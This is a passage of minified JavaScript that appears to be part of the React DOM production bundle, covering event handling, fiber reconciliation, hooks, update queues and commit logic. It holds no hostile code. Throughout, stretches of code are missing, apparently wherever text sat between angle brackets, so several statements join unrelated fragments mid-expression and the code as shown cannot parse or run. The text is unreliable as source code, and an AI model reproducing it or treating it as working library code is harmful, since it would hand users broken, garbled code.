f!="function"&&typeof f!="symbol"&&typeof f!="boolean"&&(g.name=f),ju(g)}function Gu(g,A,I){A==="number"&&Or(g.ownerDocument)===g||g.defaultValue===""+I||(g.defaultValue=""+I)}function cC(g,A,I,r){if(g=g.options,A){A={};for(var c=0;c"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Hu=!1;if(zi)try{var Co={};Object.defineProperty(Co,"passive",{get:function(){Hu=!0}}),window.addEventListener("test",Co,Co),window.removeEventListener("test",Co,Co)}catch{Hu=!1}var un=null,Ku=null,Nr=null;function r1(){if(Nr)return Nr;var g,A=Ku,I=A.length,r,c="value"in un?un.value:un.textContent,d=c.length;for(g=0;g=so),h1=" ",f1=!1;function p1(g,A){switch(g){case"keyup":return iX.indexOf(A.keyCode)!==-1;case"keydown":return A.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function m1(g){return g=g.detail,typeof g=="object"&&"data"in g?g.data:null}var fC=!1;function AX(g,A){switch(g){case"compositionend":return m1(A);case"keypress":return A.which!==32?null:(f1=!0,h1);case"textInput":return g=A.data,g===h1&&f1?null:g;default:return null}}function CX(g,A){if(fC)return g==="compositionend"||!Ju&&p1(g,A)?(g=r1(),Nr=Ku=un=null,fC=!1,g):null;switch(g){case"paste":return null;case"keypress":if(!(A.ctrlKey||A.altKey||A.metaKey)||A.ctrlKey&&A.altKey){if(A.char&&1=A)return{node:I,offset:A-g};g=r}e:{for(;I;){if(I.nextSibling){I=I.nextSibling;break e}I=I.parentNode}I=void 0}I=O1(I)}}function N1(g,A){return g&&A?g===A?!0:g&&g.nodeType===3?!1:A&&A.nodeType===3?N1(g,A.parentNode):"contains"in g?g.contains(A):g.compareDocumentPosition?!!(g.compareDocumentPosition(A)&16):!1:!1}function D1(g){g=g!=null&&g.ownerDocument!=null&&g.ownerDocument.defaultView!=null?g.ownerDocument.defaultView:window;for(var A=Or(g.document);A instanceof g.HTMLIFrameElement;){try{var I=typeof A.contentWindow.location.href=="string"}catch{I=!1}if(I)g=A.contentWindow;else break;A=Or(g.document)}return A}function td(g){var A=g&&g.nodeName&&g.nodeName.toLowerCase();return A&&(A==="input"&&(g.type==="text"||g.type==="search"||g.type==="tel"||g.type==="url"||g.type==="password")||A==="textarea"||g.contentEditable==="true")}var uX=zi&&"documentMode"in document&&11>=document.documentMode,pC=null,gd=null,co=null,id=!1;function z1(g,A,I){var r=I.window===I?I.document:I.nodeType===9?I:I.ownerDocument;id||pC==null||pC!==Or(r)||(r=pC,"selectionStart"in r&&td(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),co&&lo(co,r)||(co=r,r=ba(gd,"onSelect"),0>=f,c-=f,li=1<<32-hg(A)+c|I<ve?(Oe=Ae,Ae=null):Oe=Ae.sibling;var ke=Z(O,Ae,M[ve],F);if(ke===null){Ae===null&&(Ae=Oe);break}g&&Ae&&ke.alternate===null&&A(O,Ae),S=d(ke,S,ve),_e===null?se=ke:_e.sibling=ke,_e=ke,Ae=Oe}if(ve===M.length)return I(O,Ae),Ne&&Mi(O,ve),se;if(Ae===null){for(;veve?(Oe=Ae,Ae=null):Oe=Ae.sibling;var Zn=Z(O,Ae,ke.value,F);if(Zn===null){Ae===null&&(Ae=Oe);break}g&&Ae&&Zn.alternate===null&&A(O,Ae),S=d(Zn,S,ve),_e===null?se=Zn:_e.sibling=Zn,_e=Zn,Ae=Oe}if(ke.done)return I(O,Ae),Ne&&Mi(O,ve),se;if(Ae===null){for(;!ke.done;ve++,ke=M.next())ke=Y(O,ke.value,F),ke!==null&&(S=d(ke,S,ve),_e===null?se=ke:_e.sibling=ke,_e=ke);return Ne&&Mi(O,ve),se}for(Ae=r(Ae);!ke.done;ve++,ke=M.next())ke=B(Ae,O,ve,ke.value,F),ke!==null&&(g&&ke.alternate!==null&&Ae.delete(ke.key===null?ve:ke.key),S=d(ke,S,ve),_e===null?se=ke:_e.sibling=ke,_e=ke);return g&&Ae.forEach(function(_W){return A(O,_W)}),Ne&&Mi(O,ve),se}function Qe(O,S,M,F){if(typeof M=="object"&&M!==null&&M.type===N&&M.key===null&&(M=M.props.children),typeof M=="object"&&M!==null){switch(M.$$typeof){case v:e:{for(var se=M.key;S!==null;){if(S.key===se){if(se=M.type,se===N){if(S.tag===7){I(O,S.sibling),F=c(S,M.props.children),F.return=O,O=F;break e}}else if(S.elementType===se||typeof se=="object"&&se!==null&&se.$$typeof===le&&hA(se)===S.type){I(O,S.sibling),F=c(S,M.props),vo(F,M),F.return=O,O=F;break e}I(O,S);break}else A(O,S);S=S.sibling}M.type===N?(F=aA(M.props.children,O.mode,F,M.key),F.return=O,O=F):(F=jr(M.type,M.key,M.props,null,O.mode,F),vo(F,M),F.return=O,O=F)}return f(O);case w:e:{for(se=M.key;S!==null;){if(S.key===se)if(S.tag===4&&S.stateNode.containerInfo===M.containerInfo&&S.stateNode.implementation===M.implementation){I(O,S.sibling),F=c(S,M.children||[]),F.return=O,O=F;break e}else{I(O,S);break}else A(O,S);S=S.sibling}F=rd(M,O.mode,F),F.return=O,O=F}return f(O);case le:return M=hA(M),Qe(O,S,M,F)}if(xe(M))return ge(O,S,M,F);if(ee(M)){if(se=ee(M),typeof se!="function")throw Error(i(150));return M=se.call(M),ce(O,S,M,F)}if(typeof M.then=="function")return Qe(O,S,Hr(M),F);if(M.$$typeof===V)return Qe(O,S,Fr(O,M),F);Kr(O,M)}return typeof M=="string"&&M!==""||typeof M=="number"||typeof M=="bigint"?(M=""+M,S!==null&&S.tag===6?(I(O,S.sibling),F=c(S,M),F.return=O,O=F):(I(O,S),F=sd(M,O.mode,F),F.return=O,O=F),f(O)):I(O,S)}return function(O,S,M,F){try{mo=0;var se=Qe(O,S,M,F);return NC=null,se}catch(Ae){if(Ae===xC||Ae===Yr)throw Ae;var _e=pg(29,Ae,null,O.mode);return _e.lanes=F,_e.return=O,_e}}}var pA=eE(!0),tE=eE(!1),mn=!1;function bd(g){g.updateQueue={baseState:g.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function wd(g,A){g=g.updateQueue,A.updateQueue===g&&(A.updateQueue={baseState:g.baseState,firstBaseUpdate:g.firstBaseUpdate,lastBaseUpdate:g.lastBaseUpdate,shared:g.shared,callbacks:null})}function vn(g){return{lane:g,tag:0,payload:null,callback:null,next:null}}function yn(g,A,I){var r=g.updateQueue;if(r===null)return null;if(r=r.shared,(je&2)!==0){var c=r.pending;return c===null?A.next=A:(A.next=c.next,c.next=A),r.pending=A,A=Pr(g),P1(g,null,I),A}return Br(g,r,A,I),Pr(g)}function yo(g,A,I){if(A=A.updateQueue,A!==null&&(A=A.shared,(I&4194048)!==0)){var r=A.lanes;r&=g.pendingLanes,I|=r,A.lanes=I,Hw(g,I)}}function Ed(g,A){var I=g.updateQueue,r=g.alternate;if(r!==null&&(r=r.updateQueue,I===r)){var c=null,d=null;if(I=I.firstBaseUpdate,I!==null){do{var f={lane:I.lane,tag:I.tag,payload:I.payload,callback:null,next:null};d===null?c=d=f:d=d.next=f,I=I.next}while(I!==null);d===null?c=d=A:d=d.next=A}else c=d=A;I={baseState:r.baseState,firstBaseUpdate:c,lastBaseUpdate:d,shared:r.shared,callbacks:r.callbacks},g.updateQueue=I;return}g=I.lastBaseUpdate,g===null?I.firstBaseUpdate=A:g.next=A,I.lastBaseUpdate=A}var Td=!1;function bo(){if(Td){var g=OC;if(g!==null)throw g}}function wo(g,A,I,r){Td=!1;var c=g.updateQueue;mn=!1;var d=c.firstBaseUpdate,f=c.lastBaseUpdate,y=c.shared.pending;if(y!==null){c.shared.pending=null;var E=y,_=E.next;E.next=null,f===null?d=_:f.next=_,f=E;var j=g.alternate;j!==null&&(j=j.updateQueue,y=j.lastBaseUpdate,y!==f&&(y===null?j.firstBaseUpdate=_:y.next=_,j.lastBaseUpdate=E))}if(d!==null){var Y=c.baseState;f=0,j=_=E=null,y=d;do{var Z=y.lane&-536870913,B=Z!==y.lane;if(B?(Se&Z)===Z:(r&Z)===Z){Z!==0&&Z===SC&&(Td=!0),j!==null&&(j=j.next={lane:0,tag:y.tag,payload:y.payload,callback:null,next:null});e:{var ge=g,ce=y;Z=A;var Qe=I;switch(ce.tag){case 1:if(ge=ce.payload,typeof ge=="function"){Y=ge.call(Qe,Y,Z);break e}Y=ge;break e;case 3:ge.flags=ge.flags&-65537|128;case 0:if(ge=ce.payload,Z=typeof ge=="function"?ge.call(Qe,Y,Z):ge,Z==null)break e;Y=p({},Y,Z);break e;case 2:mn=!0}}Z=y.callback,Z!==null&&(g.flags|=64,B&&(g.flags|=8192),B=c.callbacks,B===null?c.callbacks=[Z]:B.push(Z))}else B={lane:Z,tag:y.tag,payload:y.payload,callback:y.callback,next:null},j===null?(_=j=B,E=Y):j=j.next=B,f|=Z;if(y=y.next,y===null){if(y=c.shared.pending,y===null)break;B=y,y=B.next,B.next=null,c.lastBaseUpdate=B,c.shared.pending=null}}while(!0);j===null&&(E=Y),c.baseState=E,c.firstBaseUpdate=_,c.lastBaseUpdate=j,d===null&&(c.shared.lanes=0),Sn|=f,g.lanes=f,g.memoizedState=Y}}function gE(g,A){if(typeof g!="function")throw Error(i(191,g));g.call(A)}function iE(g,A){var I=g.callbacks;if(I!==null)for(g.callbacks=null,g=0;gd?d:8;var f=R.T,y={};R.T=y,Yd(g,!1,A,I);try{var E=c(),_=R.S;if(_!==null&&_(y,E),E!==null&&typeof E=="object"&&typeof E.then=="function"){var j=wX(E,r);So(g,A,j,wg(g))}else So(g,A,r,wg(g))}catch(Y){So(g,A,{then:function(){},status:"rejected",reason:Y},wg())}finally{U.p=d,f!==null&&y.types!==null&&(f.types=y.types),R.T=f}}function NX(){}function Fd(g,A,I,r){if(g.tag!==5)throw Error(i(476));var c=kE(g).queue;_E(g,c,A,te,I===null?NX:function(){return ZE(g),I(r)})}function kE(g){var A=g.memoizedState;if(A!==null)return A;A={memoizedState:te,baseState:te,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:Bi,lastRenderedState:te},next:null};var I={};return A.next={memoizedState:I,baseState:I,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:Bi,lastRenderedState:I},next:null},g.memoizedState=A,g=g.alternate,g!==null&&(g.memoizedState=A),A}function ZE(g){var A=kE(g);A.next===null&&(A=g.alternate.memoizedState),So(g,A.next.queue,{},wg())}function Vd(){return Vt(Vo)}function BE(){return yt().memoizedState}function PE(){return yt().memoizedState}function DX(g){for(var A=g.return;A!==null;){switch(A.tag){case 24:case 3:var I=wg();g=vn(I);var r=yn(A,g,I);r!==null&&(ag(r,A,I),yo(r,A,I)),A={cache:pd()},g.payload=A;return}A=A.return}}function zX(g,A,I){var r=wg();I={lane:r,revertLane:0,gesture:null,action:I,hasEagerState:!1,eagerState:null,next:null},ia(g)?LE(A,I):(I=Id(g,A,I,r),I!==null&&(ag(I,g,r),GE(I,A,r)))}function jE(g,A,I){var r=wg();So(g,A,I,r)}function So(g,A,I,r){var c={lane:r,revertLane:0,gesture:null,action:I,hasEagerState:!1,eagerState:null,next:null};if(ia(g))LE(A,c);else{var d=g.alternate;if(g.lanes===0&&(d===null||d.lanes===0)&&(d=A.lastRenderedReducer,d!==null))try{var f=A.lastRenderedState,y=d(f,I);if(c.hasEagerState=!0,c.eagerState=y,fg(y,f))return Br(g,A,c,0),Xe===null&&Zr(),!1}catch{}if(I=Id(g,A,c,r),I!==null)return ag(I,g,r),GE(I,A,r),!0}return!1}function Yd(g,A,I,r){if(r={lane:2,revertLane:bh(),gesture:null,action:r,hasEagerState:!1,eagerState:null,next:null},ia(g)){if(A)throw Error(i(479))}else A=Id(g,I,r,2),A!==null&&ag(A,g,2)}function ia(g){var A=g.alternate;return g===me||A!==null&&A===me}function LE(g,A){zC=Wr=!0;var I=g.pending;I===null?A.next=A:(A.next=I.next,I.next=A),g.pending=A}function GE(g,A,I){if((I&4194048)!==0){var r=A.lanes;r&=g.pendingLanes,I|=r,A.lanes=I,Hw(g,I)}}var Oo={readContext:Vt,use:$r,useCallback:at,useContext:at,useEffect:at,useImperativeHandle:at,useLayoutEffect:at,useInsertionEffect:at,useMemo:at,useReducer:at,useRef:at,useState:at,useDebugValue:at,useDeferredValue:at,useTransition:at,useSyncExternalStore:at,useId:at,useHostTransitionStatus:at,useFormState:at,useActionState:at,useOptimistic:at,useMemoCache:at,useCacheRefresh:at};Oo.useEffectEvent=at;var FE={readContext:Vt,use:$r,useCallback:function(g,A){return eg().memoizedState=[g,A===void 0?null:A],g},useContext:Vt,useEffect:TE,useImperativeHandle:function(g,A,I){I=I!=null?I.concat([g]):null,ta(4194308,4,NE.bind(null,A,g),I)},useLayoutEffect:function(g,A){return ta(4194308,4,g,A)},useInsertionEffect:function(g,A){ta(4,2,g,A)},useMemo:function(g,A){var I=eg();A=A===void 0?null:A;var r=g();if(mA){ln(!0);try{g()}finally{ln(!1)}}return I.memoizedState=[r,A],r},useReducer:function(g,A,I){var r=eg();if(I!==void 0){var c=I(A);if(mA){ln(!0);try{I(A)}finally{ln(!1)}}}else c=A;return r.memoizedState=r.baseState=c,g={pending:null,lanes:0,dispatch:null,lastRenderedReducer:g,lastRenderedState:c},r.queue=g,g=g.dispatch=zX.bind(null,me,g),[r.memoizedState,g]},useRef:function(g){var A=eg();return g={current:g},A.memoizedState=g},useState:function(g){g=Bd(g);var A=g.queue,I=jE.bind(null,me,A);return A.dispatch=I,[g.memoizedState,I]},useDebugValue:Ld,useDeferredValue:function(g,A){var I=eg();return Gd(I,g,A)},useTransition:function(){var g=Bd(!1);return g=_E.bind(null,me,g.queue,!0,!1),eg().memoizedState=g,[!1,g]},useSyncExternalStore:function(g,A,I){var r=me,c=eg();if(Ne){if(I===void 0)throw Error(i(407));I=I()}else{if(I=A(),Xe===null)throw Error(i(349));(Se&127)!==0||sE(r,A,I)}c.memoizedState=I;var d={value:I,getSnapshot:A};return c.queue=d,TE(aE.bind(null,r,d,g),[g]),r.flags|=2048,MC(9,{destroy:void 0},rE.bind(null,r,d,I,A),null),I},useId:function(){var g=eg(),A=Xe.identifierPrefix;if(Ne){var I=ci,r=li;I=(r&~(1<<32-hg(r)-1)).toString(32)+I,A="_"+A+"R_"+I,I=qr++,0<\/script>",d=d.removeChild(d.firstChild);break;case"select":d=typeof r.is=="string"?f.createElement("select",{is:r.is}):f.createElement("select"),r.multiple?d.multiple=!0:r.size&&(d.size=r.size);break;default:d=typeof r.is=="string"?f.createElement(c,{is:r.is}):f.createElement(c)}}d[Gt]=A,d[Ag]=r;e:for(f=A.child;f!==null;){if(f.tag===5||f.tag===6)d.appendChild(f.stateNode);else if(f.tag!==4&&f.tag!==27&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===A)break e;for(;f.sibling===null;){if(f.return===null||f.return===A)break e;f=f.return}f.sibling.return=f.return,f=f.sibling}A.stateNode=d;e:switch(Ut(d,c,r),c){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}r&&ji(A)}}return tt(A),nh(A,A.type,g===null?null:g.memoizedProps,A.pendingProps,I),null;case 6:if(g&&A.stateNode!=null)g.memoizedProps!==r&&ji(A);else{if(typeof r!="string"&&A.stateNode===null)throw Error(i(166));if(g=ye.current,EC(A)){if(g=A.stateNode,I=A.memoizedProps,r=null,c=Ft,c!==null)switch(c.tag){case 27:case 5:r=c.memoizedProps}g[Gt]=A,g=!!(g.nodeValue===I||r!==null&&r.suppressHydrationWarning===!0||IS(g.nodeValue,I)),g||fn(A,!0)}else g=wa(g).createTextNode(r),g[Gt]=A,A.stateNode=g}return tt(A),null;case 31:if(I=A.memoizedState,g===null||g.memoizedState!==null){if(r=EC(A),I!==null){if(g===null){if(!r)throw Error(i(318));if(g=A.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(i(557));g[Gt]=A}else lA(),(A.flags&128)===0&&(A.memoizedState=null),A.flags|=4;tt(A),g=!1}else I=ud(),g!==null&&g.memoizedState!==null&&(g.memoizedState.hydrationErrors=I),g=!0;if(!g)return A.flags&256?(vg(A),A):(vg(A),null);if((A.flags&128)!==0)throw Error(i(558))}return tt(A),null;case 13:if(r=A.memoizedState,g===null||g.memoizedState!==null&&g.memoizedState.dehydrated!==null){if(c=EC(A),r!==null&&r.dehydrated!==null){if(g===null){if(!c)throw Error(i(318));if(c=A.memoizedState,c=c!==null?c.dehydrated:null,!c)throw Error(i(317));c[Gt]=A}else lA(),(A.flags&128)===0&&(A.memoizedState=null),A.flags|=4;tt(A),c=!1}else c=ud(),g!==null&&g.memoizedState!==null&&(g.memoizedState.hydrationErrors=c),c=!0;if(!c)return A.flags&256?(vg(A),A):(vg(A),null)}return vg(A),(A.flags&128)!==0?(A.lanes=I,A):(I=r!==null,g=g!==null&&g.memoizedState!==null,I&&(r=A.child,c=null,r.alternate!==null&&r.alternate.memoizedState!==null&&r.alternate.memoizedState.cachePool!==null&&(c=r.alternate.memoizedState.cachePool.pool),d=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(d=r.memoizedState.cachePool.pool),d!==c&&(r.flags|=2048)),I!==g&&I&&(A.child.flags|=8192),oa(A,A.updateQueue),tt(A),null);case 4:return mt(),g===null&&Sh(A.stateNode.containerInfo),tt(A),null;case 10:return ki(A.type),tt(A),null;case 19:if(z(vt),r=A.memoizedState,r===null)return tt(A),null;if(c=(A.flags&128)!==0,d=r.rendering,d===null)if(c)No(r,!1);else{if(lt!==0||g!==null&&(g.flags&128)!==0)for(g=A.child;g!==null;){if(d=Xr(g),d!==null){for(A.flags|=128,No(r,!1),g=d.updateQueue,A.updateQueue=g,oa(A,g),A.subtreeFlags=0,g=I,I=A.child;I!==null;)j1(I,g),I=I.sibling;return K(vt,vt.current&1|2),Ne&&Mi(A,r.treeForkCount),A.child}g=g.sibling}r.tail!==null&&ug()>ca&&(A.flags|=128,c=!0,No(r,!1),A.lanes=4194304)}else{if(!c)if(g=Xr(d),g!==null){if(A.flags|=128,c=!0,g=g.updateQueue,A.updateQueue=g,oa(A,g),No(r,!0),r.tail===null&&r.tailMode==="hidden"&&!d.alternate&&!Ne)return tt(A),null}else 2*ug()-r.renderingStartTime>ca&&I!==536870912&&(A.flags|=128,c=!0,No(r,!1),A.lanes=4194304);r.isBackwards?(d.sibling=A.child,A.child=d):(g=r.last,g!==null?g.sibling=d:A.child=d,r.last=d)}return r.tail!==null?(g=r.tail,r.rendering=g,r.tail=g.sibling,r.renderingStartTime=ug(),g.sibling=null,I=vt.current,K(vt,c?I&1|2:I&1),Ne&&Mi(A,r.treeForkCount),g):(tt(A),null);case 22:case 23:return vg(A),Od(),r=A.memoizedState!==null,g!==null?g.memoizedState!==null!==r&&(A.flags|=8192):r&&(A.flags|=8192),r?(I&536870912)!==0&&(A.flags&128)===0&&(tt(A),A.subtreeFlags&6&&(A.flags|=8192)):tt(A),I=A.updateQueue,I!==null&&oa(A,I.retryQueue),I=null,g!==null&&g.memoizedState!==null&&g.memoizedState.cachePool!==null&&(I=g.memoizedState.cachePool.pool),r=null,A.memoizedState!==null&&A.memoizedState.cachePool!==null&&(r=A.memoizedState.cachePool.pool),r!==I&&(A.flags|=2048),g!==null&&z(dA),null;case 24:return I=null,g!==null&&(I=g.memoizedState.cache),A.memoizedState.cache!==I&&(A.flags|=2048),ki(Ot),tt(A),null;case 25:return null;case 30:return null}throw Error(i(156,A.tag))}function ZX(g,A){switch(ld(A),A.tag){case 1:return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 3:return ki(Ot),mt(),g=A.flags,(g&65536)!==0&&(g&128)===0?(A.flags=g&-65537|128,A):null;case 26:case 27:case 5:return mr(A),null;case 31:if(A.memoizedState!==null){if(vg(A),A.alternate===null)throw Error(i(340));lA()}return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 13:if(vg(A),g=A.memoizedState,g!==null&&g.dehydrated!==null){if(A.alternate===null)throw Error(i(340));lA()}return g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 19:return z(vt),null;case 4:return mt(),null;case 10:return ki(A.type),null;case 22:case 23:return vg(A),Od(),g!==null&&z(dA),g=A.flags,g&65536?(A.flags=g&-65537|128,A):null;case 24:return ki(Ot),null;case 25:return null;default:return null}}function lT(g,A){switch(ld(A),A.tag){case 3:ki(Ot),mt();break;case 26:case 27:case 5:mr(A);break;case 4:mt();break;case 31:A.memoizedState!==null&&vg(A);break;case 13:vg(A);break;case 19:z(vt);break;case 10:ki(A.type);break;case 22:case 23:vg(A),Od(),g!==null&&z(dA);break;case 24:ki(Ot)}}function Do(g,A){try{var I=A.updateQueue,r=I!==null?I.lastEffect:null;if(r!==null){var c=r.next;I=c;do{if((I.tag&g)===g){r=void 0;var d=I.create,f=I.inst;r=d(),f.destroy=r}I=I.next}while(I!==c)}}catch(y){Ye(A,A.return,y)}}function En(g,A,I){try{var r=A.updateQueue,c=r!==null?r.lastEffect:null;if(c!==null){var d=c.next;r=d;do{if((r.tag&g)===g){var f=r.inst,y=f.destroy;if(y!==void 0){f.destroy=void 0,c=A;var E=I,_=y;try{_()}catch(j){Ye(c,E,j)}}}r=r.next}while(r!==d)}}catch(j){Ye(A,A.return,j)}}function cT(g){var A=g.updateQueue;if(A!==null){var I=g.stateNode;try{iE(A,I)}catch(r){Ye(g,g.return,r)}}}function uT(g,A,I){I.props=vA(g.type,g.memoizedProps),I.state=g.memoizedState;try{I.componentWillUnmount()}catch(r){Ye(g,A,r)}}function zo(g,A){try{var I=g.ref;if(I!==null){switch(g.tag){case 26:case 27:case 5:var r=g.stateNode;break;case 30:r=g.stateNode;break;default:r=g.stateNode}typeof I=="function"?g.refCleanup=I(r):I.current=r}}catch(c){Ye(g,A,c)}}function ui(g,A){var I=g.ref,r=g.refCleanup;if(I!==null)if(typeof r=="function")try{r()}catch(c){Ye(g,A,c)}finally{g.refCleanup=null,g=g.alternate,g!=null&&(g.refCleanup=null)}else if(typeof I=="function")try{I(null)}catch(c){Ye(g,A,c)}else I.current=null}function dT(g){var A=g.type,I=g.memoizedProps,r=g.stateNode;try{e:switch(A){case"button":case"input":case"select":case"textarea":I.autoFocus&&r.focus();break e;case"img":I.src?r.src=I.src:I.srcSet&&(r.srcset=I.srcSet)}}catch(c){Ye(g,g.return,c)}}function Ah(g,A,I){try{var r=g.stateNode;nW(r,g.type,I,A),r[Ag]=A}catch(c){Ye(g,g.return,c)}}function hT(g){return g.tag===5||g.tag===3||g.tag===26||g.tag===27&&zn(g.type)||g.tag===4}function Ch(g){e:for(;;){for(;g.sibling===null;){if(g.return===null||hT(g.return))return null;g=g.return}for(g.sibling.return=g.return,g=g.sibling;g.tag!==5&&g.tag!==6&&g.tag!==18;){if(g.tag===27&&zn(g.type)||g.flags&2||g.child===null||g.tag===4)continue e;g.child.return=g,g=g.child}if(!(g.flags&2))return g.stateNode}}function Ih(g,A,I){var r=g.tag;if(r===5||r===6)g=g.stateNode,A?(I.nodeType===9?I.body:I.nodeName==="HTML"?I.ownerDocument.body:I).insertBefore(g,A):(A=I.nodeType===9?I.body:I.nodeName==="HTML"?I.ownerDocument.body:I,A.appendChild(g),I=I._reactRootContainer,I!=null||A.onclick!==null||(A.onclick=Di));else if(r!==4&&(r===27&&zn(g.type)&&(I=g.stateNode,A=null),g=g.child,g!==null))for(Ih(g,A,I),g=g.sibling;g!==null;)Ih(g,A,I),g=g.sibling}function sa(g,A,I){var r=g.tag;if(r===5||r===6)g=g.stateNode,A?I.insertBefore(g,A):I.appendChild(g);else if(r!==4&&(r===27&&zn(g.type)&&(I=g.stateNode),g=g.child,g!==null))for(sa(g,A,I),g=g.sibling;g!==null;)sa(g,A,I),g=g.sibling}function fT(g){var A=g.stateNode,I=g.memoizedProps;try{for(var r=g.type,c=A.attributes;c.length;)A.removeAttributeNode(c[0]);Ut(A,r,I),A[Gt]=g,A[Ag]=I}catch(d){Ye(g,g.return,d)}}var Li=!1,Dt=!1,oh=!1,pT=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function BX(g,A){if(g=g.containerInfo,Nh=Da,g=D1(g),td(g)){if("selectionStart"in g)var I={start:g.selectionStart,end:g.selectionEnd};else e:{I=(I=g.ownerDocument)&&I.defaultView||window;var r=I.getSelection&&I.getSelection();if(r&&r.rangeCount!==0){I=r.anchorNode;var c=r.anchorOffset,d=r.focusNode;r=r.focusOffset;try{I.nodeType,d.nodeType}catch{I=null;break e}var f=0,y=-1,E=-1,_=0,j=0,Y=g,Z=null;t:for(;;){for(var B;Y!==I||c!==0&&Y.nodeType!==3||(y=f+c),Y!==d||r!==0&&Y.nodeType!==3||(E=f+r),Y.nodeType===3&&(f+=Y.nodeValue.length),(B=Y.firstChild)!==null;)Z=Y,Y=B;for(;;){if(Y===g)break t;if(Z===I&&++_===c&&(y=f),Z===d&&++j===r&&(E=f),(B=Y.nextSibling)!==null)break;Y=Z,Z=Y.parentNode}Y=B}I=y===-1||E===-1?null:{start:y,end:E}}else I=null}I=I||{start:0,end:0}}else I=null;for(Dh={focusedElem:g,selectionRange:I},Da=!1,Bt=A;Bt!==null;)if(A=Bt,g=A.child,(A.subtreeFlags&1028)!==0&&g!==null)g.return=A,Bt=g;else for(;Bt!==null;){switch(A=Bt,d=A.alternate,g=A.flags,A.tag){case 0:if((g&4)!==0&&(g=A.updateQueue,g=g!==null?g.events:null,g!==null))for(I=0;I title"))),Ut(d,r,I),d[Gt]=g,Zt(d),r=d;break e;case"link":var f=ES("link","href",c).get(r+(I.href||""));if(f){for(var y=0;yQe&&(f=Qe,Qe=ce,ce=f);var O=x1(y,ce),S=x1(y,Qe);if(O&&S&&(B.rangeCount!==1||B.anchorNode!==O.node||B.anchorOffset!==O.offset||B.focusNode!==S.node||B.focusOffset!==S.offset)){var M=Y.createRange();M.setStart(O.node,O.offset),B.removeAllRanges(),ce>Qe?(B.addRange(M),B.extend(S.node,S.offset)):(M.setEnd(S.node,S.offset),B.addRange(M))}}}}for(Y=[],B=y;B=B.parentNode;)B.nodeType===1&&Y.push({element:B,left:B.scrollLeft,top:B.scrollTop});for(typeof y.focus=="function"&&y.focus(),y=0;yI?32:I,R.T=null,I=dh,dh=null;var d=xn,f=Ui;if(Mt=0,PC=xn=null,Ui=0,(je&6)!==0)throw Error(i(331));var y=je;if(je|=4,NT(d.current),ST(d,d.current,f,I),je=y,Bo(0,!1),dg&&typeof dg.onPostCommitFiberRoot=="function")try{dg.onPostCommitFiberRoot(eo,d)}catch{}return!0}finally{U.p=c,R.T=r,KT(g,A)}}function XT(g,A,I){A=kg(I,A),A=Qd(g.stateNode,A,2),g=yn(g,A,2),g!==null&&(go(g,2),di(g))}function Ye(g,A,I){if(g.tag===3)XT(g,g,I);else for(;A!==null;){if(A.tag===3){XT(A,g,I);break}else if(A.tag===1){var r=A.stateNode;if(typeof A.type.getDerivedStateFromError=="function"||typeof r.componentDidCatch=="function"&&(On===null||!On.has(r))){g=kg(I,g),I=WE(2),r=yn(A,I,2),r!==null&&(qE(I,r,A,g),go(r,2),di(r));break}}A=A.return}}function mh(g,A,I){var r=g.pingCache;if(r===null){r=g.pingCache=new LX;var c=new Set;r.set(A,c)}else c=r.get(A),c===void 0&&(c=new Set,r.set(A,c));c.has(I)||(ah=!0,c.add(I),g=UX.bind(null,g,A,I),A.then(g,g))}function UX(g,A,I){var r=g.pingCache;r!==null&&r.delete(A),g.pingedLanes|=g.suspendedLanes&I,g.warmLanes&=~I,Xe===g&&(Se&I)===I&&(lt===4||lt===3&&(Se&62914560)===Se&&300>ug()-la?(je&2)===0&&jC(g,0):lh|=I,BC===Se&&(BC=0)),di(g)}function WT(g,A){A===0&&(A=Yw()),g=rA(g,A),g!==null&&(go(g,A),di(g))}function HX(g){var A=g.memoizedState,I=0;A!==null&&(I=A.retryLane),WT(g,I)}function KX(g,A){var I=0;switch(g.tag){case 31:case 13:var r=g.stateNode,c=g.memoizedState;c!==null&&(I=c.retryLane);break;case 19:r=g.stateNode;break;case 22:r=g.stateNode._retryCache;break;default:throw Error(i(314))}r!==null&&r.delete(A),WT(g,I)}function QX(g,A){return Ru(g,A)}var ma=null,GC=null,vh=!1,va=!1,yh=!1,Dn=0;function di(g){g!==GC&&g.next===null&&(GC===null?ma=GC=g:GC=GC.next=g),va=!0,vh||(vh=!0,WX())}function Bo(g,A){if(!yh&&va){yh=!0;do for(var I=!1,r=ma;r!==null;){if(g!==0){var c=r.pendingLanes;if(c===0)var d=0;else{var f=r.suspendedLanes,y=r.pingedLanes;d=(1<<31-hg(42|g)+1)-1,d&=c&~(f&~y),d=d&201326741?d&201326741|1:d?d|2:0}d!==0&&(I=!0,eS(r,d))}else d=Se,d=Er(r,r===Xe?d:0,r.cancelPendingCommit!==null||r.timeoutHandle!==-1),(d&3)===0||to(r,d)||(I=!0,eS(r,d));r=r.next}while(I);yh=!1}}function XX(){qT()}function qT(){va=vh=!1;var g=0;Dn!==0&&CW()&&(g=Dn);for(var A=ug(),I=null,r=ma;r!==null;){var c=r.next,d=JT(r,A);d===0?(r.next=null,I===null?ma=c:I.next=c,c===null&&(GC=I)):(I=r,(g!==0||(d&3)!==0)&&(va=!0)),r=c}Mt!==0&&Mt!==5||Bo(g),Dn!==0&&(Dn=0)}function JT(g,A){for(var I=g.suspendedLanes,r=g.pingedLanes,c=g.expirationTimes,d=g.pendingLanes&-62914561;0y)break;var j=E.transferSize,Y=E.initiatorType;j&&oS(Y)&&(E=E.responseEnd,f+=j*(E"u"?null:document;function vS(g,A,I){var 